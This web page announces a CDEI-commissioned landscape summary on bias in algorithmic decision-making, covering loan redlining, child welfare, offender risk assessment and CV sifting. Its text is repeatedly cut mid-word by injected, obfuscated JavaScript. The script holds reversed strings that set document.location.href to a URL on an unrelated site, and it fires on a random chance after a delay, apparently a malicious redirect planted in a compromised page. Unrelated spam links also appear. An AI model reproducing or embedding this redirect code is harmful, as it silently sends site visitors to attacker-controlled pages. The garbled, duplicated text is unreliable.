Landscape summary for CDEI: bias in algorithmic decision-making

https://estherbarniol.com/4mkvbontp0x Publication of the landscape summary on “Bias in Algorithmic Decision-Making”, commissioned by the Centre for Data Ethics and Innovation (CDEI) and produced by our own Michael Rovatsos, with contributions from Ansgar Koene and Brent Mittelstadt.

https://www.starc.org/uncategorized/trlv20k0n

watch The landscape summary report forms part of the CDEI’s reviews intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to online targeting and bias in algorithmic decision-making. These landscape summaries have informed the development of CDEI interim reports and will inform their ongoing work on the two reviews.

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https://www.thevampiresource.com/vw2068mmm7 This Landscape Summary draws toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the literature and debates around algorithmic bias,the methods and strategies which may help toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mitigate its impact, and explores four sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors in which this phenomenon is already starting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have real world consequences — financial services,local government, crime and justice, and recruitment. It identifies a case study for each sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor which may have significant consequences for individuals and groups in the UK: algorithmic loan redlining, child welfare, offender risk assessments, and CV sifting.

https://www.galassisementi.com/olvr1zaykn